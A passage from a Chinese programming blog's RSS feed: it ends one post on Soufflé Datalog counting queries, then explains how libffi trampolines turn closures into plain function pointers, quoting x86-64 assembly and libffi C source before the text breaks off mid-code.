class="line"></span><br><span class="line">.decl cheapApple(price: number, shop: number)</span><br><span class="line"></span><br><span class="line">cheapApple(price, number) :-</span><br><span class="line">    apple(price, number), price &lt;= <span class="number">25.</span></span><br><span class="line"></span><br><span class="line">// <span class="symbol">A</span> cheap shop only sells apples cheaper than <span class="number">25</span></span><br><span class="line">// and thus only shop <span class="number">1</span> meets this requirement.</span><br><span class="line">.decl cheapShop(shop: number)</span><br></pre></td></tr></table></figure><p>直觉上可能会写出：</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cheapShop(shop) :- apple(x, shop), x &lt; <span class="number">25.</span></span><br></pre></td></tr></table></figure><p>但是很不幸这是不对的，因为其中 x 具有<em>存在</em>语义，所以店铺 2也会被算在其中。确切来说在这种情况下，很难找到一种合适的方式表达“<em>某个</em>店铺中<em>任意</em>苹果的语义”，因此只能用<code>count</code>来曲线实现：</p><figure class="highlight prolog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">.decl cheapCount(shop: number, cnt: number)</span><br><span class="line"></span><br><span class="line">cheapCount(shop, cnt) :-</span><br><span class="line">    apple(price, shop),</span><br><span class="line">    count : &#123; cheapApple(<span class="symbol">_</span>, shop) &#125; = cnt.</span><br><span class="line"></span><br><span class="line">.decl appleCount(shop: number, cnt: number)</span><br><span class="line"></span><br><span class="line">appleCount(shop, cnt) :-</span><br><span class="line">    apple(price, shop),</span><br><span class="line">    count : &#123;apple(<span class="symbol">_</span>, shop)&#125; = cnt.</span><br><span class="line"></span><br><span class="line">cheapShop(shop) :-</span><br><span class="line">    appleCount(shop, cnt),</span><br><span class="line">    cheapCount(shop, cnt2),</span><br><span class="line">    cnt = cnt2.</span><br><span class="line"></span><br><span class="line">.output cheapShop</span><br></pre></td></tr></table></figure><p>然而 <code>count</code> 也并不是万能的，因为很容易写出 <ahref="https://souffle-lang.github.io/aggregates#the-witness-problem">witness问题</a>，这里不做展开了。</p><p>UPDATE(2023/02/19)：正确方法不是 count，是先对要证明的 property取反把存在语义变成任意语义然后再用 Souffle 编程解答。</p><h2 id="后记">后记</h2><p>Souffle是一门非常有趣的语言，而且在写文的这个时间点仍然在积极开发，性能也非常不错，然而我最后作业还是选择了用Python 实现，原因主要就是上面提到几点局限性，不过 Souffle整体编写体验还是很不错的，在很多地方都符合直觉，希望发展的越来越好。</p><h2 id="参考资料">参考资料</h2><ul><li><a href="https://en.wikipedia.org/wiki/Prolog">Prolog Wiki</a></li><li><a href="https://en.wikipedia.org/wiki/Datalog">DatalogWiki</a></li><li><a href="https://souffle-lang.github.io/">Souffle</a></li><li><a href="https://xiongyingfei.github.io/SA/2020/main.htm">SoftwareAnalysis Fall2020</a></li><li><a href="https://en.wikipedia.org/wiki/Least_fixed_point">Leastfixed point Wiki</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BC%96%E7%A8%8B/">编程</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BC%96%E7%A8%8B/Souffle/">Souffle</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/Datalog/">Datalog</category>
      
      <category domain="http://blog.ihomura.cn/tags/Souffle/">Souffle</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E5%BF%83%E5%BE%97%E4%BD%93%E4%BC%9A/">心得体会</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%88%86%E6%9E%90/">二进制分析</category>
      
      
      <comments>http://blog.ihomura.cn/2022/05/05/Souffle%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>把闭包变成函数指针——libffi 闭包原理解析</title>
      <link>http://blog.ihomura.cn/2021/07/30/%E6%8A%8A%E9%97%AD%E5%8C%85%E5%8F%98%E6%88%90%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88%E2%80%94%E2%80%94libffi-%E9%97%AD%E5%8C%85%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/</link>
      <guid>http://blog.ihomura.cn/2021/07/30/%E6%8A%8A%E9%97%AD%E5%8C%85%E5%8F%98%E6%88%90%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88%E2%80%94%E2%80%94libffi-%E9%97%AD%E5%8C%85%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/</guid>
      <pubDate>Fri, 30 Jul 2021 06:48:48 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;callbacks&quot;&gt;Callbacks&lt;/h2&gt;
&lt;p&gt;For English version of this post, see &lt;a
href=&quot;https://blog.lazym.io/2021/07/29/Cast-a-Closure-to-a-Function-Pointer-How-libffi-closure-works/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;一般来说，一个用 C
写的库可能会暴露接收一个函数指针作为回调函数，比如：&lt;/p&gt;
&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;title function_&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;params&quot;&gt;(*&lt;span class=&quot;type&quot;&gt;callback_t&lt;/span&gt;)&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt;* data)&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;title function_&quot;&gt;register_callback&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;callback_t&lt;/span&gt; callback, &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt;* data)&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;然后我们可能会这样使用这个接口：&lt;/p&gt;
&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;Context&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt; id;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125; Context;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;title function_&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt;* data)&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    Context* ctx = (Context*)data;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&amp;quot;Context id=%d&#92;n&amp;quot;&lt;/span&gt;, ctx-&amp;gt;id);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;title function_&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;()&lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    Context* ctx = &lt;span class=&quot;built_in&quot;&gt;malloc&lt;/span&gt;(&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;(Context)); &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    ctx-&amp;gt;id = &lt;span class=&quot;number&quot;&gt;114514&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;comment&quot;&gt;// some operation&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    register_callback(callback, ctx);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;comment&quot;&gt;// other operation&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;built_in&quot;&gt;free&lt;/span&gt;(ctx);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;但是这样仍然不太方便，因为我们需要手动管理 data
指针的生命周期，一不小心就有可能会内存泄漏。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="callbacks">Callbacks</h2><p>For English version of this post, see <ahref="https://blog.lazym.io/2021/07/29/Cast-a-Closure-to-a-Function-Pointer-How-libffi-closure-works/">here</a>.</p><p>一般来说，一个用 C写的库可能会暴露接收一个函数指针作为回调函数，比如：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="title function_">void</span> <span class="params">(*<span class="type">callback_t</span>)</span><span class="params">(<span class="type">void</span>* data)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">register_callback</span><span class="params">(<span class="type">callback_t</span> callback, <span class="type">void</span>* data)</span>;</span><br></pre></td></tr></table></figure><p>然后我们可能会这样使用这个接口：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">Context</span> &#123;</span></span><br><span class="line">    <span class="type">int</span> id;</span><br><span class="line">&#125; Context;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">callback</span><span class="params">(<span class="type">void</span>* data)</span> &#123;</span><br><span class="line">    Context* ctx = (Context*)data;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Context id=%d\n&quot;</span>, ctx-&gt;id);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    Context* ctx = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(Context)); </span><br><span class="line">    ctx-&gt;id = <span class="number">114514</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// some operation</span></span><br><span class="line"></span><br><span class="line">    register_callback(callback, ctx);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// other operation</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">free</span>(ctx);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是这样仍然不太方便，因为我们需要手动管理 data指针的生命周期，一不小心就有可能会内存泄漏。</p><span id="more"></span><h2 id="closures">Closures</h2><p>如果熟悉 C++ 的话，把这个接口用 <code>std::function</code>包装一下基本上不会费太大的力气：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> std::function&lt;<span class="type">void</span>()&gt; callback_fn;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">CallbackManager</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">static</span> CallbackManager* <span class="title">New</span><span class="params">(callback_fn fn)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">CallbackManager</span>(fn);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">operator</span><span class="params">()</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>-&gt;_fn();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ~<span class="built_in">CallbackManager</span>()&#123;</span><br><span class="line">        <span class="keyword">delete</span> <span class="keyword">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    callback_fn _fn;</span><br><span class="line">    <span class="built_in">CallbackManager</span>(callback_fn fn) : _fn(fn) &#123;&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">register_callback_wrapper</span><span class="params">(callback_fn callback)</span> </span>&#123;</span><br><span class="line">    CallbackManager* mgr = CallbackManager::<span class="built_in">New</span>(callback);</span><br><span class="line">    <span class="built_in">register_callback</span>([](<span class="type">void</span>* data)&#123; (*(CallbackManager*)data)(); &#125;, mgr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后我们就可以把之前的代码变得更加 modern 一些。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">Context</span> &#123;</span><br><span class="line">    <span class="type">int</span> id;</span><br><span class="line">&#125; Context;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    std::shared_ptr&lt;Context&gt; ctx = std::<span class="built_in">make_shared</span>&lt;Context&gt;();</span><br><span class="line">    ctx-&gt;id = <span class="number">114514</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">register_callback_wrapper</span>([ctx]()&#123;</span><br><span class="line">        <span class="comment">// play with Context without any concern.</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Context id=%d\n&quot;</span>, ctx-&gt;id);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// no need to free context.</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>现在我们可以传入一个 <code>std::function</code>也就是一个闭包作为回调函数，并且享受到 C++ 各种 modern 的工具。</p><p>一个闭包一般来说就包括一个函数指针和对应的上下文（比如捕获的变量等等），而原来接口签名中的<code>callback</code> 和 <code>data</code> 就对应了这两点。</p><h2 id="裸函数指针">裸函数指针</h2><p>但是， 并不是所有的回调函数 API 都像这样设计。比如：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">register_callback_bad</span><span class="params">(<span class="type">callback_bad_t</span> callback)</span>;</span><br></pre></td></tr></table></figure><p>它只接受一个裸函数指针，意味着我们不能传入一个闭包因为没有地方存放闭包的上下文。类似的，<code>C++</code>不会允许把 <code>lambda</code> 转换成函数指针如果它捕获了任意变量。</p><p>所以我们面临的挑战是：我们可以把一个闭包退化成函数指针吗？听起来不太可能但是最近我发现<code>libffi</code> 确实<ahref="http://www.chiark.greenend.org.uk/doc/libffi-dev/html/The-Closure-API.html">实现</a>了这一点。</p><blockquote><p>After calling <code>ffi_prep_closure_loc</code>, you can cast<code>codeloc</code> to the appropriate pointer-to-function type.</p></blockquote><p>让我们看看 <code>libffi</code> 背后的技巧。</p><h2 id="libffi-实现">libffi 实现</h2><h3 id="idea">Idea</h3><p>正如上面所解释的，一个函数指针仅仅是一个地址，运行时并不携带任何和回调函数相关的上下文。因此，唯一的解决方案是分配一些静态内存然后在回调函数里访问，但是我们仍然需要办法区分不同的回调函数。你可能已经猜到了，没错，尽管不太常见，函数指针本身的地址可以作为一个唯一的标识。</p><p>基本上，<code>libffi</code>的想法就是用额外的内存来存储闭包的数据，但是实际的设计非常有意思。</p><h3 id="trampoline">Trampoline</h3><p>实现的核心概念是 <code>Trampoline</code>，每个<code>trampoline</code> 包括两个重要的字段 <code>code</code> 和<code>data</code>。其中 <code>code</code>是注册的回调函数的入口点。它在内存里会有多份，所以会有多个不同的地址。<code>data</code>是和回调函数对应的数据。下面是相关代码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">#ifdef ENDBR_PRESENT</span><br><span class="line"># define X86_DATA_OFFSET4077</span><br><span class="line"># ifdef __ILP32__</span><br><span class="line">#  define X86_CODE_OFFSET4069</span><br><span class="line"># else</span><br><span class="line">#  define X86_CODE_OFFSET4073</span><br><span class="line"># endif</span><br><span class="line">#else</span><br><span class="line"># define X86_DATA_OFFSET4081</span><br><span class="line"># ifdef __ILP32__</span><br><span class="line">#  define X86_CODE_OFFSET4073</span><br><span class="line"># else</span><br><span class="line">#  define X86_CODE_OFFSET4077</span><br><span class="line"># endif</span><br><span class="line">#endif</span><br><span class="line"></span><br><span class="line">.alignUNIX64_TRAMP_MAP_SIZE</span><br><span class="line">.globltrampoline_code_table</span><br><span class="line">FFI_HIDDEN(C(trampoline_code_table))</span><br><span class="line"></span><br><span class="line">C(trampoline_code_table):</span><br><span class="line">.reptUNIX64_TRAMP_MAP_SIZE / UNIX64_TRAMP_SIZE</span><br><span class="line">_CET_ENDBR</span><br><span class="line">subq$16, %rsp/* Make space on the stack */</span><br><span class="line">movq%r10, (%rsp)/* Save %r10 on stack */</span><br><span class="line">#ifdef __ILP32__</span><br><span class="line">movlX86_DATA_OFFSET(%rip), %r10d/* Copy data into %r10 */</span><br><span class="line">#else</span><br><span class="line">movqX86_DATA_OFFSET(%rip), %r10/* Copy data into %r10 */</span><br><span class="line">#endif</span><br><span class="line">movq%r10, 8(%rsp)/* Save data on stack */</span><br><span class="line">#ifdef __ILP32__</span><br><span class="line">movlX86_CODE_OFFSET(%rip), %r10d/* Copy code into %r10 */</span><br><span class="line">#else</span><br><span class="line">movqX86_CODE_OFFSET(%rip), %r10/* Copy code into %r10 */</span><br><span class="line">#endif</span><br><span class="line">jmp*%r10/* Jump to code */</span><br><span class="line">.align8</span><br><span class="line">.endr</span><br><span class="line">ENDF(C(trampoline_code_table))</span><br><span class="line">.alignUNIX64_TRAMP_MAP_SIZE</span><br><span class="line">#endif /* FFI_EXEC_STATIC_TRAMP */</span><br></pre></td></tr></table></figure><p>所以秘密就是：<code>code</code> 和 <code>data</code>之间的偏移是固定的。因此，函数指针在被当作回调函数使用的同时，它同样也是回调函数数据的地址（加上偏移后）。在准备好回调函数和回调函数对应数据之后，程序通过<code>jmp *%r10</code> 跳转到其他的代码。</p><p>另外的问题是：这个偏移是怎么计算出来的？首先为了保持<code>code</code> 和 <code>data</code>之间固定的偏移，<code>libffi</code> 分配了两个连续的 4k(<code>UNIX64_TRAMP_MAP_SIZE</code>) 内存区域。所以偏移就是 4k减去从开始到现在所有指令长度的总和。假设我们在 Linux x86_64 上并且有<code>endbr64</code> 支持，我们可以这样计算<code>X86_DATA_OFFSET</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">X86_DATA_OFFSET</span><br><span class="line">= 4096 - sizeof(`endbr64`) - sizeof(`subq $16, %rsp`) - sizeof(`movq %r10, (%rsp)`) - sizeof(`movq X86_DATA_OFFSET(%rip), %r10`)</span><br><span class="line">= 4096 - 4 - 4 - 4 - 7</span><br><span class="line">= 4077</span><br></pre></td></tr></table></figure><p>其中4077就是上面代码中定义的偏移。</p><h3 id="更多细节">更多细节</h3><p>另外有意思的事情是 <code>libffi</code> 怎么找到<code>trampoline</code> 表：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span></span><br><span class="line"><span class="title function_">ffi_tramp_get_libffi</span> <span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *fp;</span><br><span class="line">  <span class="type">char</span> file[PATH_MAX], line[PATH_MAX+<span class="number">100</span>], perm[<span class="number">10</span>], dev[<span class="number">10</span>];</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span> start, end, offset, inode;</span><br><span class="line">  <span class="type">uintptr_t</span> addr = (<span class="type">uintptr_t</span>) tramp_globals.text;</span><br><span class="line">  <span class="type">int</span> nfields, found;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">snprintf</span> (file, PATH_MAX, <span class="string">&quot;/proc/%d/maps&quot;</span>, getpid());</span><br><span class="line">  fp = fopen (file, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> (fp == <span class="literal">NULL</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  found = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> (feof (fp) == <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (fgets (line, <span class="keyword">sizeof</span> (line), fp) == <span class="number">0</span>)</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">    nfields = <span class="built_in">sscanf</span> (line, <span class="string">&quot;%lx-%lx %9s %lx %9s %ld %s&quot;</span>,</span><br><span class="line">      &amp;start, &amp;end, perm, &amp;offset, dev, &amp;inode, file);</span><br><span class="line">    <span class="keyword">if</span> (nfields != <span class="number">7</span>)</span><br><span class="line">      <span class="keyword">continue</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (addr &gt;= start &amp;&amp; addr &lt; end) &#123;</span><br><span class="line">      tramp_globals.offset = offset + (addr - start);</span><br><span class="line">      found = <span class="number">1</span>;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  fclose (fp);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!found)</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  tramp_globals.fd = open (file, O_RDONLY);</span><br><span class="line">  <span class="keyword">if</span> (tramp_globals.fd == <span class="number">-1</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">   * Allocate a trampoline table just to make sure that the trampoline code</span></span><br><span class="line"><span class="comment">   * table can be mapped.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">if</span> (!tramp_table_alloc ())</span><br><span class="line">    &#123;</span><br><span class="line">      close (tramp_globals.fd);</span><br><span class="line">      tramp_globals.fd = <span class="number">-1</span>;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span 